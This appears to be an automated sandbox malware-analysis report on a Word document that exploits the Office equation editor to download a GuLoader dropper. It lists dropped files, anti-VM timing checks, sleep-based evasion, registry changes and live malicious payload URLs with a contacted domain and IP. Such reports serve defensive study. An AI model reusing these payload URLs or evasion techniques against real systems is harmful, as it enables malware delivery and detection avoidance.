Source: Binary string: System.Runtime.CompilerServices.VisualC.ni.pdb source: System.Runtime.CompilerServices.VisualC.dll.4.dr
Source: Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.VisualC\net6.0-Release\System.Runtime.CompilerServices.VisualC.pdb source: System.Runtime.CompilerServices.VisualC.dll.4.dr
Source: Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.VisualC\net6.0-Release\System.Runtime.CompilerServices.VisualC.pdbRSDS source: System.Runtime.CompilerServices.VisualC.dll.4.dr
Source: Binary string: d:\build\ob\bora-18379147\bora-vmsoft\build\release-x64\svga\wddm\src\coinstaller\Win8Release\x64\bin\vm3dc003.pdb source: vm3dc003.dll.4.dr

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000004.00000002.1262023853.0000000003780000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\Public\Pc07.exe Code function: 4_2_73E630C0 push eax; ret 4_2_73E630EE
PE file contains sections with non-standard names
Source: vm3dc003.dll.4.dr Static PE information: section name: .didat
Source: vm3dc003.dll.4.dr Static PE information: section name: .gehcont
Source: vm3dc003.dll.4.dr Static PE information: section name: _RDATA
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\Pc07.exe Code function: 4_2_73E61BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 4_2_73E61BFF
PE file contains an invalid checksum
Source: mitra[1].exe.2.dr Static PE information: real checksum: 0x0 should be: 0xee744
Source: Pc07.exe.2.dr Static PE information: real checksum: 0x0 should be: 0xee744
Source: System.dll.4.dr Static PE information: real checksum: 0x0 should be: 0x3d68
Source: uninstalla.exe.4.dr Static PE information: real checksum: 0x3f1bf6 should be: 0x4a8b4
Binary contains a suspicious time stamp
Source: System.Runtime.CompilerServices.VisualC.dll.4.dr Static PE information: 0xC22B5F28 [Fri Mar 24 23:05:12 2073 UTC]
Drops PE files
Source: C:\Users\Public\Pc07.exe File created: C:\Users\user\AppData\Local\Temp\vm3dc003.dll Jump to dropped file
Source: C:\Users\Public\Pc07.exe File created: C:\Users\user\AppData\Local\Temp\nsj949D.tmp\System.dll Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\Pc07.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\mitra[1].exe Jump to dropped file
Source: C:\Users\Public\Pc07.exe File created: C:\Users\user\AppData\Local\Temp\uninstalla.exe Jump to dropped file
Source: C:\Users\Public\Pc07.exe File created: C:\Users\user\AppData\Local\Temp\System.Runtime.CompilerServices.VisualC.dll Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\Pc07.exe Jump to dropped file

Boot Survival
barindex
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\Pc07.exe Jump to dropped file
Stores large binary data to the registry
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Pc07.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\Public\Pc07.exe RDTSC instruction interceptor: First address: 00000000037CE10D second address: 00000000037CE10D instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F88FCBD6655h 0x00000006 test ax, cx 0x00000009 inc ebp 0x0000000a inc ebx 0x0000000b test dl, dl 0x0000000d rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 616 Thread sleep time: -420000s >= -30000s Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\Public\Pc07.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\vm3dc003.dll Jump to dropped file
Source: C:\Users\Public\Pc07.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\uninstalla.exe Jump to dropped file
Source: C:\Users\Public\Pc07.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\System.Runtime.CompilerServices.VisualC.dll Jump to dropped file
Source: C:\Users\Public\Pc07.exe Code function: 4_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405C49
Source: C:\Users\Public\Pc07.exe Code function: 4_2_00406873 FindFirstFileW,FindClose, 4_2_00406873
Source: C:\Users\Public\Pc07.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Users\Public\Pc07.exe API call chain: ExitProcess graph end node
Source: C:\Users\Public\Pc07.exe API call chain: ExitProcess graph end node
Source: vm3dc003.dll.4.dr Binary or memory string: LegalCopyrightCopyright (C) 1998-2021 VMware, Inc.B
Source: vm3dc003.dll.4.dr Binary or memory string: {4d36e968-e325-11ce-bfc1-08002be10318}SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}CoInstallers32SOFTWARE\Microsoft\Windows\CurrentVersion\RunVMware VM3DService ProcessRegDeleteValue failed (0x%lx).
Source: vm3dc003.dll.4.dr Binary or memory string: noreply@vmware.com0
Source: vm3dc003.dll.4.dr Binary or memory string: http://www.vmware.com/0
Source: vm3dc003.dll.4.dr Binary or memory string: VMware, Inc.
Source: vm3dc003.dll.4.dr Binary or memory string: dbghelp.dllSoftware\VMware, Inc.\VMware SVGADebugSearchPathBacktrace[%2d] rip=%p %s+%#x %s:%d
Source: vm3dc003.dll.4.dr Binary or memory string: VMware, Inc.1!0
Source: vm3dc003.dll.4.dr Binary or memory string: %s: VMToolsRegistry Not set.
Source: vm3dc003.dll.4.dr Binary or memory string: FileDescriptionVMware SVGA 3D Coinstaller:
Source: Pc07.exe, 00000004.00000002.1261959939.00000000005F4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: vm3dc003.dll.4.dr Binary or memory string: http://www.vmware.com/0/
Source: vm3dc003.dll.4.dr Binary or memory string: Software\VMware, Inc.\VMware SVGA
Source: vm3dc003.dll.4.dr Binary or memory string: VMware, Inc.1
Source: vm3dc003.dll.4.dr Binary or memory string: VMware, Inc.0
Source: vm3dc003.dll.4.dr Binary or memory string: ProductNameVMware SVGA 3D`
Source: vm3dc003.dll.4.dr Binary or memory string: CompanyNameVMware, Inc.^
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\Pc07.exe Code function: 4_2_73E61BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 4_2_73E61BFF
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036A0751 mov edx, dword ptr fs:[00000030h] 2_2_036A0751
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\Pc07.exe C:\Users\Public\Pc07.exe Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\Public\Pc07.exe Code function: 4_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040352D
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 634396 Sample: SecuriteInfo.com.Exploit.Rt... Startdate: 26/05/2022 Architecture: WINDOWS Score: 100 33 Found malware configuration 2->33 35 Malicious sample detected (through community Yara rule) 2->35 37 Antivirus detection for dropped file 2->37 39 8 other signatures 2->39 6 EQNEDT32.EXE 11 2->6         started        11 WINWORD.EXE 291 20 2->11         started        process3 dnsIp4 31 gingthysyllenesliopa.com 69.49.231.213, 443, 49171 UNIFIEDLAYER-AS-1US United States 6->31 17 C:\Users\user\AppData\Local\...\mitra[1].exe, PE32 6->17 dropped 19 C:\Users\Public\Pc07.exe, PE32 6->19 dropped 41 Office equation editor establishes network connection 6->41 43 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 6->43 13 Pc07.exe 4 32 6->13         started        21 ~WRF{4264E978-4468...A-8460C16E076C}.tmp, Composite 11->21 dropped file5 signatures6 process7 file8 23 C:\Users\user\AppData\Local\...\vm3dc003.dll, PE32+ 13->23 dropped 25 C:\Users\user\AppData\...\uninstalla.exe, PE32 13->25 dropped 27 C:\Users\user\AppData\Local\...\System.dll, PE32 13->27 dropped 29 System.Runtime.Com...ervices.VisualC.dll, PE32+ 13->29 dropped 45 Tries to detect virtualization through RDTSC time measurements 13->45 signatures9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
69.49.231.213
 gingthysyllenesliopa.com United States
46606 UNIFIEDLAYER-AS-1US true

Contacted Domains

Name IP Active
gingthysyllenesliopa.com 69.49.231.213 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://gingthysyllenesliopa.com/a1/mitra.exe true
  • Avira URL Cloud: safe
 unknown
http://pet-vr.net/.tmb/cache/bin_oWBLdyptAp56.bin true
  • Avira URL Cloud: safe
 unknown